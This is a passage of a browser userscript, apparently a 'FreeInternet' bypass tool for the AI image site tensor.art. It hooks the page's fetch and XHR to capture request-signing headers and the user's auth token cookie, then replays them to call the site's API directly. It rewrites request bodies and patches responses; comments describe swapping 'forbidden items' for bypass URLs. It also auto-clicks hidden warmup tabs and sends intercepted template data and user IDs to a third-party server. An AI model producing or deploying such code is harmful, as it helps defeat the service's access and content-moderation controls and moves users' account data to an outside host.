if (!entryId || !tensorWarmupCreatedIds.includes(entryId)) continue;
const entry = tensorLibraryEntryMap[entryId] || {};
card.setAttribute('data-fi-warmup', 'true');
card.setAttribute('data-fi-entry-id', entryId);
card.setAttribute('data-fi-owner-id', entry.ownerId || '');
card.setAttribute('data-fi-type', entry.type || '');
card.setAttribute('data-fi-path', originalPath);
card.style.setProperty('outline', '3px solid #ef4444', 'important');
card.style.setProperty('outline-offset', '-3px', 'important');
flagged++;
}
if (flagged) tensorInterceptLog('info', 'Library: flagged warmup cards with red border', { flagged });
}
function injectTensorLibraryWarmupButton(doc) {
if (doc.querySelector('[data-fi-delete-warmup-btn]')) return;
const uploadIcon = doc.querySelector('iconpark-icon[icon-id="upload"]');
if (!uploadIcon) return;
let el = uploadIcon, uploadBtn = null;
for (let i = 0; i < 6; i++) {
el = el.parentElement;
if (!el) return;
if (el.tagName === 'BUTTON') { uploadBtn = el; break; }
}
if (!uploadBtn || !uploadBtn.parentElement) return;
const container = uploadBtn.parentElement;
const btn = doc.createElement('button');
btn.setAttribute('data-fi-delete-warmup-btn', 'true');
btn.className = '__button-dark-njtao5-filmmd n-button n-button--default-type n-button--medium-type n-button--secondary rd-8';
btn.type = 'button';
btn.title = 'Remove items auto-added to library during initialization warmup';
btn.innerHTML = '<span class="n-button__icon"><div class="n-icon-slot" role="none"><i role="img" class="n-icon __icon-dark-njtao5-d"><iconpark-icon icon-id="delete" name="" size="16"></iconpark-icon></i></div></span><span class="n-button__content" style="color:#fca5a5"> Rm Init</span>';
btn.style.cssText = 'background:#7f1d1d!important;border-color:#ef4444!important;';
container.insertBefore(btn, container.firstChild);
btn.addEventListener('click', function() {
runAutoDeleteWarmupItems().catch(function(e) {
tensorInterceptLog('error', 'Library cleanup error', { error: String(e && e.message || e) });
});
});
tensorInterceptLog('success', 'Library: injected Rm Init button into toolbar', {});
}
async function runAutoDeleteWarmupItems() {
const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const doc = pw.document;
function sleep(ms) { return new Promise(function(r) { setTimeout(r, ms); }); }
function diClick(el) {
if (!el) return;
const rect = el.getBoundingClientRect();
const cx = rect.width > 0 ? Math.round(rect.left + rect.width / 2) : 100;
const cy = rect.height > 0 ? Math.round(rect.top + rect.height / 2) : 100;
const eo = { bubbles: true, cancelable: true, clientX: cx, clientY: cy, screenX: cx, screenY: cy, view: pw };
try { el.dispatchEvent(new (pw.PointerEvent || PointerEvent)('pointerdown', Object.assign({}, eo, { button: 0, buttons: 1 }))); } catch(e2) {}
try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('mousedown', Object.assign({}, eo, { button: 0, buttons: 1 }))); } catch(e2) {}
try { el.dispatchEvent(new (pw.PointerEvent || PointerEvent)('pointerup', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('mouseup', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
try { el.dispatchEvent(new (pw.MouseEvent || MouseEvent)('click', Object.assign({}, eo, { button: 0, buttons: 0 }))); } catch(e2) {}
try { el.click(); } catch(e2) {}
}
function findDeleteBtn() {
const btns = Array.from(doc.querySelectorAll('button[title="Delete"]'));
for (const b of btns) { if (b.querySelector('iconpark-icon[icon-id="delete"]')) return b; }
return null;
}
function findYesBtn() {
const action = doc.querySelector('.n-dialog__action');
if (!action) return null;
for (const b of action.querySelectorAll('button')) {
if ((b.className || '').includes('warning') || (b.textContent || '').trim().toLowerCase() === 'yes') return b;
}
return null;
}
async function uiDeleteOne(card) {
const id = card.getAttribute('data-fi-entry-id');
card.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
await sleep(400);
diClick(card);
await sleep(2000);
const db = findDeleteBtn();
if (!db) { tensorInterceptLog('warning', 'Library cleanup: Delete btn not found after clicking card', { id }); return false; }
diClick(db);
await sleep(1000);
const yb = findYesBtn();
if (!yb) { tensorInterceptLog('warning', 'Library cleanup: confirm Yes btn not found', { id }); return false; }
diClick(yb);
await sleep(1500);
card.removeAttribute('data-fi-warmup');
card.style.removeProperty('outline');
card.style.removeProperty('outline-offset');
const ri = tensorWarmupCreatedIds.indexOf(id);
if (ri !== -1) tensorWarmupCreatedIds.splice(ri, 1);
return true;
}
const allFlagged = Array.from(doc.querySelectorAll('[data-fi-warmup="true"]'));
if (!allFlagged.length) { tensorInterceptLog('info', 'Library cleanup: no warmup-flagged items', {}); return; }
tensorInterceptLog('info', 'Library cleanup: starting', { count: allFlagged.length });
// First item: use UI click to both delete it AND capture the signing headers
const ok1 = await uiDeleteOne(allFlagged[0]);
if (!ok1) return;
// Wait for delete signing headers (up to 5 s, 10 polls)
let deleteHeaders = null;
for (let poll = 0; poll < 10; poll++) {
await sleep(500);
const dh = tensorSigningHeadersByPath['library-web/v1/entry/delete'];
if (dh && (Date.now() - dh.ts) < TENSOR_SIGNING_HEADER_TTL) { deleteHeaders = dh.headers; break; }
}
const remaining = Array.from(doc.querySelectorAll('[data-fi-warmup="true"]'));
if (!remaining.length) { tensorInterceptLog('success', 'Library cleanup: done', {}); return; }
if (!deleteHeaders) {
tensorInterceptLog('warning', 'Library cleanup: no delete headers captured — using UI for remaining items', { count: remaining.length });
for (const rc of remaining) {
await sleep(1000);
await uiDeleteOne(rc);
}
return;
}
let token = (typeof userToken === 'string') ? userToken.trim() : '';
if (!token) {
try {
const cookies = await GM.cookie.list({ name: 'ta_token_prod', url: 'https://tensor.art' });
token = (cookies && cookies[0] && cookies[0].value) ? cookies[0].value : '';
} catch(e2) {}
}
tensorInterceptLog('info', 'Library cleanup: deleting remaining via GM relay', { count: remaining.length });
for (const rc of remaining) {
const remId = rc.getAttribute('data-fi-entry-id');
if (!remId) { rc.removeAttribute('data-fi-warmup'); rc.style.removeProperty('outline'); continue; }
await sleep(2000);
await new Promise(function(resolve) {
const hdrs = { 'accept': 'application/json, text/plain, */*', 'content-type': 'application/json' };
try {
Object.entries(deleteHeaders).forEach(function(pair) {
const k = pair[0], v = pair[1];
const name = String(k || '').trim().toLowerCase();
const val = String(v != null ? v : '').trim();
if (!name || name === 'pragma' || name === 'cache-control') return;
if (val) hdrs[k] = val;
});
} catch(e2) {}
if (token) hdrs['authorization'] = 'Bearer ' + token;
GM.xmlHttpRequest({
method: 'POST',
url: 'https://api.tensor.art/library-web/v1/entry/delete',
headers: hdrs,
data: JSON.stringify({ entryIds: [remId] }),
withCredentials: true, anonymous: false,
onload: function(r) {
const ok = r.status >= 200 && r.status < 300;
tensorInterceptLog(ok ? 'success' : 'warning', 'Library cleanup: deleted item', { entryId: remId, status: r.status });
rc.removeAttribute('data-fi-warmup');
rc.style.removeProperty('outline');
rc.style.removeProperty('outline-offset');
const ri2 = tensorWarmupCreatedIds.indexOf(remId);
if (ri2 !== -1) tensorWarmupCreatedIds.splice(ri2, 1);
resolve();
},
onerror: function() { tensorInterceptLog('warning', 'Library cleanup: network err', { entryId: remId }); resolve(); },
ontimeout: function() { resolve(); }
});
});
}
tensorInterceptLog('success', 'Library cleanup: all done', { remaining: tensorWarmupCreatedIds.length });
}
function installTensorLibraryPageEnhancer() {
if (!IS_TENSOR_DOMAIN) return;
if (typeof location === 'undefined' || !location.pathname.startsWith('/library')) return;
const pw = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
const doc = pw.document;
flagWarmupCardsInLibrary();
function tryGridObserver() {
const grid = doc.querySelector('.flex-1.overflow-y-auto.overflow-x-hidden.pr-12.relative.rd-12');
if (grid && !grid.__fiWarmupObserver) {
grid.__fiWarmupObserver = true;
new MutationObserver(function() { flagWarmupCardsInLibrary(); }).observe(grid, { childList: true, subtree: true, attributes: false });
}
return !!grid;
}
if (!tryGridObserver()) {
let gr = 0;
const gt = setInterval(function() { if (tryGridObserver() || ++gr > 30) clearInterval(gt); }, 500);
}
let ba = 0;
const bt = setInterval(function() {
if (++ba > 30 || doc.querySelector('[data-fi-delete-warmup-btn]')) { clearInterval(bt); return; }
injectTensorLibraryWarmupButton(doc);
}, 500);
}
function installTensorNewTabWarmupInit() {
if (!IS_TENSOR_DOMAIN) return;
const rawHash = (location.hash || '').toLowerCase();
if (!rawHash.includes('freeinternet-tensor-warm')) return;
// Clean the hash to avoid it affecting page routing
try { history.replaceState(null, '', location.pathname + location.search); } catch { /* ignore */ }
const isCreateWarm = rawHash.includes('warm-create');
const isLibraryWarm = rawHash.includes('warm-library');
if (!isCreateWarm && !isLibraryWarm) return;
const targetWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
if (isLibraryWarm) {
// Library page fires its own API calls on load; the fetch interceptor
// captures them and broadcasts via tensorWarmupBC. Just close after 6 s.
tensorInterceptLog('info', 'New-tab warmup (library): page loaded — waiting for fetch interceptor…', {});
setTimeout(function() { try { window.close(); } catch { /* ignore */ } }, 6000);
return;
}
// Create warmup: wait for page load, then dispatch the button-click warmup event
// which the page script (inner IIFE) handles.
tensorInterceptLog('info', 'New-tab warmup (create): waiting for page load…', {});
// Visible banner in this tab's DevTools console so it's easy to identify
console.log('%c[FREEInternet WARMUP TAB] Opened to capture entry/create signing headers. Will auto-click Create → Add-to-Library then close.', 'background:#dc2626;color:#fff;font-size:13px;font-weight:900;padding:4px 12px;border-radius:4px;');
function doCreateWarmup(attempt) {
attempt = attempt || 0;
tensorInterceptLog('info', 'New-tab warmup (create): dispatching warm event, attempt=' + attempt, {});
const onDone = function(ev) {
targetWindow.removeEventListener('_freeInternetDebugWarmCreateDone', onDone);
clearTimeout(closeTimer);
const ok = ev && ev.detail && ev.detail.ok;
if (ok) {
// Give BC headers_captured message time to arrive in the calling tab
setTimeout(function() { try { window.close(); } catch { /* ignore */ } }, 1200);
} else if (attempt < 2) {
// Failure — give the page 3 s to settle, then try again
tensorInterceptLog('warn', 'New-tab warmup (create): attempt ' + attempt + ' failed, retrying…', {});
setTimeout(function() { doCreateWarmup(attempt + 1); }, 3000);
} else {
// All retries exhausted
tensorInterceptLog('warn', 'New-tab warmup (create): all attempts failed, closing tab.', {});
try { window.close(); } catch { /* ignore */ }
}
};
// Per-attempt fallback timer — if the inner page script never fires the done event
const closeTimer = setTimeout(function() {
targetWindow.removeEventListener('_freeInternetDebugWarmCreateDone', onDone);
if (attempt < 2) {
tensorInterceptLog('warn', 'New-tab warmup (create): attempt ' + attempt + ' timed out, retrying…', {});
doCreateWarmup(attempt + 1);
} else {
try { window.close(); } catch { /* ignore */ }
}
}, 22000);
targetWindow.addEventListener('_freeInternetDebugWarmCreateDone', onDone);
try {
targetWindow.dispatchEvent(new CustomEvent('_freeInternetDebugWarmCreate', { detail: {} }));
} catch { /* ignore */ }
}
// Give the page extra time to fully render before starting warmup
if (document.readyState === 'complete') {
setTimeout(doCreateWarmup, 4000);
} else {
window.addEventListener('load', function() { setTimeout(doCreateWarmup, 4000); }, { once: true });
}
}
// ══════════════════════════════════════════════════════════════════════════════
// COMMUNITY SHARE AI TOOLS
// ══════════════════════════════════════════════════════════════════════════════
function getCommunityApiUrl() {
return remoteConfig?.api_community?.url || 'https://syncore.mooo.com/host/community_tools.php';
}
function isCommunityApiEnabled() {
if (!settings.communityShareEnabled) return false;
const cfg = remoteConfig?.api_community;
if (cfg && cfg.enabled === false) return false;
return true;
}
async function communityApiCall(action, payload = {}) {
const url = getCommunityApiUrl();
const body = { action, ...payload };
if (remoteConfig?.api_community?.requireUserId) {
const summary = getAccountSummaryForToken(userToken);
if (summary?.userId) body.userId = String(summary.userId);
}
const resp = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body)
});
if (!resp.ok) throw new Error(`Community API HTTP ${resp.status}`);
return resp.json();
}
async function communityShareTool(workflowTemplateId, detailPayload) {
// detailPayload = full intercepted JSON from workflow/v1/workflow/template/detail
// or a minimal { workflowTemplateId, name } fallback
const payload = detailPayload && typeof detailPayload === 'object'
? detailPayload
: { workflowTemplate: { id: String(workflowTemplateId), name: String(detailPayload || workflowTemplateId) } };
const result = await communityApiCall('add', payload);
if (result?.ok) {
communitySharedTemplateIds.add(String(workflowTemplateId));
try {
localStorage.setItem('freeBypassCommunitySharedIds', JSON.stringify([...communitySharedTemplateIds]));
} catch { /* ignore */ }
}
return result;
}
async function communityRemoveTool(workflowTemplateId) {
const result = await communityApiCall('remove', { workflowTemplateId });
if (result?.ok) {
communitySharedTemplateIds.delete(String(workflowTemplateId));
try {
localStorage.setItem('freeBypassCommunitySharedIds', JSON.stringify([...communitySharedTemplateIds]));
} catch { /* ignore */ }
}
return result;
}
async function communityFetchTools(forceRefresh = false) {
const ttl = Number(remoteConfig?.api_community?.cacheExpireMs) || 300000;
if (!forceRefresh && communityToolsCache && (Date.now() - communityToolsCacheAt) < ttl) {
return communityToolsCache;
}
const limit = Number(remoteConfig?.api_community?.maxToolsPerPage) || 50;
const result = await communityApiCall('show', { limit });
// Normalize fields: PHP uses camelCase, keep both for backward compat
const raw = Array.isArray(result?.data) ? result.data : [];
communityToolsCache = raw.map(t => ({
...t,
// Normalize field names used by card renderer
recommended_count: t.recommendedCount ?? t.recommended_count ?? t.shareCount ?? 0,
run_count: t.runCount ?? t.run_count ?? 0,
star_count: t.starCount ?? t.star_count ?? 0,
download_count: t.downloadCount ?? t.download_count ?? 0,
last_updated_at: t.lastUpdatedAt ?? t.last_updated_at ?? null,
flags_vip_only: t.flagsVipOnly ?? t.flags_vip_only ?? false,
flags_subscriber_only: t.flagsSubscriberOnly ?? t.flags_subscriber_only ?? false,
flags_grant_run: t.flagsGrantRun ?? t.flags_grant_run ?? false,
}));
communityToolsCacheAt = Date.now();
return communityToolsCache;
}
async function communityRateTool(workflowTemplateId, rating) {
return communityApiCall('rate', { workflowTemplateId, rating });
}
// Get template info for current /template/{id} page
function getCurrentPageTemplateInfo() {
const match = (location?.pathname || '').match(/\/template\/([^/?#]+)/);
if (!match) return null;
const templateId = match[1];
// Try templateInfoCache first (populated when intercepting task responses)
const cached = templateInfoCache.get(templateId);
if (cached) return cached;
// Fall back to reading the title from the DOM
const titleEl = document.querySelector('span.text-ellipsis.line-clamp-2.overflow-hidden.max-w-full');
const name = titleEl ? (titleEl.textContent || '').trim() : '';
return { workflowTemplateId: templateId, name: name || `Template ${templateId}` };
}
// Inject the "Recommend" floating button on /template/{id} pages
function _updateCommunityBtnState(btn, templateId) {
const colors = getThemeColors();
const isShared = communitySharedTemplateIds.has(String(templateId));
btn.setAttribute('data-fi-recommended', isShared ? '1' : '0');
btn.title = isShared
? 'You already recommended this tool. Click to remove your recommendation.'
: 'Recommend this template to other FreeInternet users anonymously.';
if (isShared) {
btn.style.background = `${colors.primary}40`;
btn.style.borderColor = `${colors.primary}99`;
btn.style.color = colors.primary;
btn.innerHTML = `<i class="fas fa-check" style="margin-right:5px;"></i>Recommended!`;
} else {
btn.style.background = `${colors.primary}1a`;
btn.style.borderColor = `${colors.primary}59`;
btn.style.color = colors.primary;
btn.innerHTML = `<i class="fas fa-share-nodes" style="margin-right:5px;"></i>Recommend`;
}
}
function injectCommunityShareButton() {
if (!settings.communityShareEnabled) return;
if (!IS_TENSOR_DOMAIN) return;
const match = (location?.pathname || '').match(/\/template\/([^/?#]+)/);
if (!match) return;
const templateId = match[1];
// Check if already injected & still in DOM
const existingBtn = document.getElementById('fi-community-share-btn');
if (existingBtn && document.body.contains(existingBtn)) {
if (!existingBtn.dataset.fiCommunityLoading) {
_updateCommunityBtnState(existingBtn, templateId);
existingBtn.style.display = 'inline-flex'; // always visible
}
return;
}
// Create floating button attached to the page header region
const btn = document.createElement('button');
btn.id = 'fi-community-share-btn';
btn.setAttribute('data-fi-community-template-id', templateId);
btn.style.cssText = `
display: inline-flex;
align-items: center;
padding: 8px 16px;
border-radius: 10px;
border: 1px solid rgba(99,102,241,0.35);
font-size: 13px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s, border-color 0.2s, transform 0.1s;
letter-spacing: 0.2px;
box-shadow: 0 2px 12px rgba(99,102,241,0.12);
`;
btn.onmouseenter = () => { if (!btn.dataset.fiCommunityLoading) btn.style.transform = 'translateY(-1px)'; };
btn.onmouseleave = () => { btn.style.transform = ''; };
_updateCommunityBtnState(btn, templateId);
btn.addEventListener('click', async () => {
if (btn.dataset.fiCommunityLoading) return;
const curShared = communitySharedTemplateIds.has(String(templateId));
btn.dataset.fiCommunityLoading = '1';
btn.style.opacity = '0.7';
btn.innerHTML = `<i class="fas fa-spinner fa-spin" style="margin-right:5px;"></i>${curShared ? 'Removing…' : 'Recommending…'}`;
try {
if (curShared) {
await communityRemoveTool(String(templateId));
showToast('Recommendation removed.', 'success');
} else {
// Send full intercepted detail JSON as payload
const detailPayload = templateDetailCache.get(String(templateId)) || null;
await communityShareTool(String(templateId), detailPayload);
showToast('Template recommended to the community!', 'success');
communityToolsCache = null; // invalidate cache
}
_updateCommunityBtnState(btn, templateId);
} catch (err) {
_updateCommunityBtnState(btn, templateId);
showToast(`Failed: ${err?.message || err}`, 'error');
} finally {
delete btn.dataset.fiCommunityLoading;
btn.style.opacity = '';
}
});
// Try to find the star button row and insert there, otherwise fall back to a fixed floating position
const starBtn = document.querySelector('button.vi-button--full[class*="vi-button--type-secondary"]');
const targetRow = starBtn?.closest('div.flex.gap-12');
if (targetRow) {
const wrapper = document.createElement('div');
wrapper.className = 'flex-1 sm:flex-0';
wrapper.style.cssText = 'display:flex; align-items:center;';
wrapper.appendChild(btn);
targetRow.insertBefore(wrapper, targetRow.firstChild);
} else {
// Floating fallback: fixed to bottom-right above any panel, below header
btn.style.position = 'fixed';
btn.style.bottom = '80px';
btn.style.right = '24px';
btn.style.zIndex = '9999';
btn.style.boxShadow = '0 4px 24px rgba(99,102,241,0.3)';
btn.style.display = 'inline-flex'; // ensure visible in floating mode
if (document.body) {
document.body.appendChild(btn);
} else {
document.addEventListener('DOMContentLoaded', () => document.body.appendChild(btn), { once: true });
}
}
}
function initTensorSiteRequestListeners() {
if (!IS_TENSOR_DOMAIN) return;
const pageWindow = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
if (!pageWindow || pageWindow.__freeBypassTensorRequestListenerInstalled) return;
pageWindow.__freeBypassTensorRequestListenerInstalled = true;
installGMDebugRequestRelay();
installTensorConsoleDebugHelper();
installTensorNewTabWarmupInit();
installTensorLibraryPageEnhancer();
// Re-run library enhancer on SPA navigation to /library (Vue router pushState)
try {
const pw2 = typeof unsafeWindow !== 'undefined' ? unsafeWindow : window;
if (pw2.history && !pw2.history.__fiSpaHooked) {
pw2.history.__fiSpaHooked = true;
const origPush = pw2.history.pushState;
pw2.history.pushState = function() {
try { origPush.apply(pw2.history, arguments); } catch(e2) {}
const newUrl = typeof arguments[2] === 'string' ? arguments[2] : '';
if (newUrl.startsWith('/library') || (pw2.location && pw2.location.pathname.startsWith('/library'))) {
setTimeout(installTensorLibraryPageEnhancer, 800);
}
};
}
} catch(e2) { /* ignore */ }
try {
if (typeof pageWindow.fetch === 'function') {
const pageFetch = pageWindow.fetch;
pageWindow.fetch = async function (...args) {
const rewritten = await rewriteTensorFetchArguments(args, 'page-fetch');
const fetchUrl = rewritten.fetchUrl || getInterceptedRequestUrl(args[0]);
// (Prompt bypass removed — feature disabled)
const observedRequestBody = await readObservedRequestBody(args[0], args[1] && typeof args[1] === 'object' ? args[1] : null);
const tokenHint = extractTensorTokenFromRequest(args[0], args[1]);
// Cache fresh X-Request-* signing headers for the GM debug relay.
// Stored per endpoint path so signatures for one URL don't pollute another.
try {
const hdrSrc = (rewritten.args[1] || args[1])?.headers;
let capturedXHeaders = null;
if (hdrSrc && typeof hdrSrc === 'object') {
const pairs = {};
if (typeof Headers !== 'undefined' && hdrSrc instanceof Headers) {
hdrSrc.forEach((v, k) => { if (/^x-request-/i.test(k)) pairs[k] = v; });
} else {
Object.keys(hdrSrc).forEach(k => {
if (/^x-request-/i.test(k)) pairs[k] = String(hdrSrc[k] ?? '');
});
}
if (Object.keys(pairs).length >= 2) capturedXHeaders = pairs;
}
if (capturedXHeaders) {
// Key by the path component after api.tensor.art/
const urlForKey = fetchUrl || '';
const pathMatch = urlForKey.match(/api\.tensor\.art\/([^?#]+)/);
if (pathMatch) {
const capPath = pathMatch[1];
const capTs = Date.now();
tensorSigningHeadersByPath[capPath] = { headers: capturedXHeaders, ts: capTs };
// For entry/create: also extract the generationImageId from the request body
// so the calling tab can track what was added to library during warmup.
let capImageId = null;
if (capPath === 'library-web/v1/entry/create') {
try {
const bodyStr = typeof observedRequestBody === 'string'
? observedRequestBody
: (observedRequestBody ? JSON.stringify(observedRequestBody) : '');
const parsed = bodyStr ? JSON.parse(bodyStr) : null;
capImageId = (parsed && parsed.generationImageId) ? String(parsed.generationImageId) : null;
} catch { /* ignore */ }
if (capImageId && !tensorWarmupCreatedIds.includes(capImageId)) {
tensorWarmupCreatedIds.push(capImageId);
// Mirror into the page-exposed array
try {
if (pageWindow.tensorWarmupCreatedIds && !pageWindow.tensorWarmupCreatedIds.includes(capImageId))
pageWindow.tensorWarmupCreatedIds.push(capImageId);
} catch { /* ignore */ }
tensorInterceptLog('info', 'Warmup intercepted entry/create in this tab', { imageId: capImageId, total: tensorWarmupCreatedIds.length });
// Notify Library Assign feature about the new imageId.
if (_libraryAssignPendingCallback) {
try { const _cb = _libraryAssignPendingCallback; _libraryAssignPendingCallback = null; _cb(capImageId); } catch { /* ignore */ }
}
}
}
// Broadcast so warmup tabs opened by ensureTensorSigningHeaders can
// resolve in the calling tab via BroadcastChannel.
if (tensorWarmupBC) {
try { tensorWarmupBC.postMessage({ type: 'headers_captured', path: capPath, headers: capturedXHeaders, ts: capTs, imageId: capImageId || undefined }); } catch { /* ignore */ }
}
}
lastObservedTensorSigningHeaders = capturedXHeaders;
}
} catch { /* ignore */ }
const response = await pageFetch.apply(this, rewritten.args);
const patched = await patchTensorFetchResponseIfNeeded(response, fetchUrl, 'page-fetch');
const finalActiveResponse = patched.response || response;
processTensorObservedResponse(fetchUrl, finalActiveResponse, tokenHint).catch(() => {});
// For mget_task: pass the ORIGINAL (pre-patch) response so that task caching
// sees the raw forbidden items, not the bypass-URL-replaced patched ones.
// For other endpoints the patching only adds cache hits, so finalActiveResponse is fine.
processTensorObservedTaskResponse(fetchUrl, isMgetTaskEndpoint(fetchUrl) ? response : finalActiveResponse).catch(() => {});
processTensorObservedDownloadEndpoint(fetchUrl, observedRequestBody, finalActiveResponse, 'page-fetch').catch(() => {});
processTensorLibraryApiResponse(fetchUrl, observedRequestBody, finalActiveResponse).catch(() => {});
processTensorObservedTemplateDetailResponse(fetchUrl, finalActiveResponse).catch(() => {});
return finalActiveResponse;
};
tensorInterceptLog('success', 'Installed page-level Tensor fetch interceptor', { source: 'initTensorSiteRequestListeners' });
}
} catch (e) {
tensorInterceptLog('error', 'Failed to install page-level Tensor fetch interceptor', { error: String(e?.message || e) });
console.warn('[UserProfile] Failed to install Tensor fetch listener', e);
}
try {
const xhrProto = pageWindow.XMLHttpRequest && pageWindow.XMLHttpRequest.prototype;
if (xhrProto && !xhrProto.__freeBypassTensorPatched) {
xhrProto.__freeBypassTensorPatched = true;
const originalOpen = xhrProto.open;
const originalSend = xhrProto.send;
const originalSetRequestHeader = xhrProto.setRequestHeader;
const responseTextDescriptor = Object.getOwnPropertyDescriptor(xhrProto, 'responseText');
const responseDescriptor = Object.getOwnPropertyDescriptor(xhrProto, 'response');
const nativeGetResponseText = responseTextDescriptor && typeof responseTextDescriptor.get === 'function'
? responseTextDescriptor.get
: null;
const nativeGetResponse = responseDescriptor && typeof responseDescriptor.get === 'function'
? responseDescriptor.get
: null;
xhrProto.open = function (method, url) {
this.__freeBypassTensorUrl = url ? String(url) : '';
this.__freeBypassTensorMethod = method ? String(method) : '';
this.__freeBypassTensorHeaders = {};
this.__freeBypassTensorRequestBody = undefined;
this.__freeBypassTensorPatchedSnapshot = null;
this.__freeBypassTensorGetterLogged = false;
this.__freeBypassTensorResponseHandled = false;
this.__freeBypassTensorObservedHandled = false;
return originalOpen.apply(this, arguments);
};
xhrProto.setRequestHeader = function (header, value) {
try {
if (!this.__freeBypassTensorHeaders || typeof this.__freeBypassTensorHeaders !== 'object') {
this.__freeBypassTensorHeaders = {};
}
this.__freeBypassTensorHeaders[String(header || '')] = value;
} catch {
// ignore
}
return originalSetRequestHeader.apply(this, arguments);
};
xhrProto.send = function () {
const self = this;
const tokenHint = extractTensorTokenFromXhrHeaders(self.__freeBypassTensorHeaders);
let outgoingBody = arguments[0];
// isTasksQuery: only the POST /query endpoint (needs request body rewrite)
const isTasksQuery = isTensorTasksQueryEndpoint(self.__freeBypassTensorUrl);
// isPatchable: query + template tasks (both get response patching)
const isPatchableTasks = isTensorPatchableTasksEndpoint(self.__freeBypassTensorUrl);
const fetchUrl = String(self.__freeBypassTensorUrl || '');
self.__freeBypassTensorRequestBody = outgoingBody;
// Capture X-Request-* signing headers for library-web paths (entry/delete often via XHR)
try {
if (/api\.tensor\.art\/library-web/.test(fetchUrl)) {
const xPairs = {};
const allXHdrs = self.__freeBypassTensorHeaders || {};
Object.keys(allXHdrs).forEach(function(k) {
if (/^x-request-/i.test(k)) xPairs[k] = String(allXHdrs[k] != null ? allXHdrs[k] : '');
});
if (Object.keys(xPairs).length >= 2) {
const xpm = fetchUrl.match(/api\.tensor\.art\/([^?#]+)/);
if (xpm) {
const xcp = xpm[1], xct = Date.now();
tensorSigningHeadersByPath[xcp] = { headers: xPairs, ts: xct };
if (tensorWarmupBC) {
try { tensorWarmupBC.postMessage({ type: 'headers_captured', path: xcp, headers: xPairs, ts: xct }); } catch { /* ignore */ }
}
}
}
}
} catch { /* ignore */ }
if (settings.xhrInterceptEnabled && isPatchableTasks && !self.__freeBypassTensorGetterOverrideInstalled) {
try {
if (nativeGetResponseText) {
Object.defineProperty(self, 'responseText', {
configurable: true,
get() {
const snapshot = getPatchedTensorXhrSnapshot(this, fetchUrl, {
getResponseText: nativeGetResponseText,
getResponse: nativeGetResponse
}, 'responseText');
if (snapshot?.changed && typeof snapshot.serialized === 'string') {
return snapshot.serialized;
}
return nativeGetResponseText.call(this);
}
});
}
if (nativeGetResponse) {
Object.defineProperty(self, 'response', {
configurable: true,
get() {
const snapshot = getPatchedTensorXhrSnapshot(this, fetchUrl, {
getResponseText: nativeGetResponseText,
getResponse: nativeGetResponse
}, 'response');
if (snapshot?.changed) {
const responseType = String(this.responseType || '').toLowerCase();
if (responseType === 'json') return snapshot.body;
if (responseType === '' || responseType === 'text') return snapshot.serialized;
}
return nativeGetResponse.call(this);
}
});
}
self.__freeBypassTensorGetterOverrideInstalled = true;
} catch (error) {
tensorInterceptLog('error', 'Failed to install Tensor XHR live getter override', {
source: 'page-xhr',
url: fetchUrl,
error: String(error?.message || error)
});
}
}
if (settings.xhrInterceptEnabled && isTasksQuery) {
const rewritten = rewriteTensorTasksQueryRequestBody(outgoingBody);
if (rewritten.changed) {
outgoingBody = rewritten.body;
tensorInterceptLog('success', 'Rewrote Tensor XHR request payload', {
source: 'page-xhr',
method: String(self.__freeBypassTensorMethod || 'POST').toUpperCase(),
url: fetchUrl,
payload: summarizeTensorTasksQueryPayload(outgoingBody)
});
} else {
tensorInterceptLog('info', 'Observed Tensor XHR request (no rewrite needed)', {
source: 'page-xhr',
method: String(self.__freeBypassTensorMethod || 'POST').toUpperCase(),
url: fetchUrl,
payload: summarizeTensorTasksQueryPayload(outgoingBody)
});
}
}
const runObservedProcessors = (phase) => {
if (self.__freeBypassTensorObservedHandled) return;
if (self.readyState !== 4 && phase !== 'load') return;
self.__freeBypassTensorObservedHandled = true;
processTensorObservedResponse(fetchUrl, self, tokenHint).catch(() => {});
processTensorObservedTaskResponse(fetchUrl, self).catch(() => {});
processTensorObservedDownloadEndpoint(fetchUrl, self.__freeBypassTensorRequestBody, self, `page-xhr:${phase}`).catch(() => {});
processTensorLibraryApiResponse(fetchUrl, self.__freeBypassTensorRequestBody, self).catch(() => {});
processTensorObservedTemplateDetailResponse(fetchUrl, self).catch(() => {});
};
const patchAndProcess = (phase) => {
if (self.readyState === 4) {
// For mget_task: save raw body BEFORE patching so processTensorObservedTaskResponse
// gets the original forbidden-item data, not the bypass-URL-replaced patched data.
if (isMgetTaskEndpoint(fetchUrl) && !self.__freeBypassTensorRawBody) {
try {
const rawText = nativeGetResponseText ? nativeGetResponseText.call(self) : null;
if (rawText) self.__freeBypassTensorRawBody = rawText;
} catch { /* ignore */ }
}
maybePatchTensorXhrResponse(self, fetchUrl, phase);
}
runObservedProcessors(phase);
};
const originalReadyStateHandler = typeof self.onreadystatechange === 'function' ? self.onreadystatechange : null;
if (originalReadyStateHandler && !self.__freeBypassTensorWrappedOnReadyState) {
self.__freeBypassTensorWrappedOnReadyState = true;
self.onreadystatechange = function (...callbackArgs) {
if (self.readyState === 4) {
patchAndProcess('onreadystatechange');
}
return originalReadyStateHandler.apply(this, callbackArgs);
};
}
try {
self.addEventListener('readystatechange', () => {
if (self.readyState === 4) {
patchAndProcess('readystatechange');
}
}, { once: false });
self.addEventListener('load', () => {
patchAndProcess('load');
}, { once: true });
} catch {
// ignore
}
return originalSend.apply(self, [outgoingBody]);
};
tensorInterceptLog('success', 'Installed page-level Tensor XHR interceptor', { source: 'initTensorSiteRequestListeners' });
}
} catch (e) {
tensorInterceptLog('error', 'Failed to install page-level Tensor XHR interceptor', { error: String(e?.message || e) });
console.warn('[UserProfile] Failed to install Tensor XHR listener', e);
}
}
function persistObservedTensorProfiles() {
safeLocalStorageSet(USER_PROFILE_CAPTURE_KEY, JSON.stringify(observedTensorProfiles || {}));
}
function persistTensorAccountDetectState() {
safeLocalStorageSet(USER_ACCOUNT_DETECT_STATE_KEY, JSON.stringify(tensorAccountDetectState || {
armed: false,
token: null,
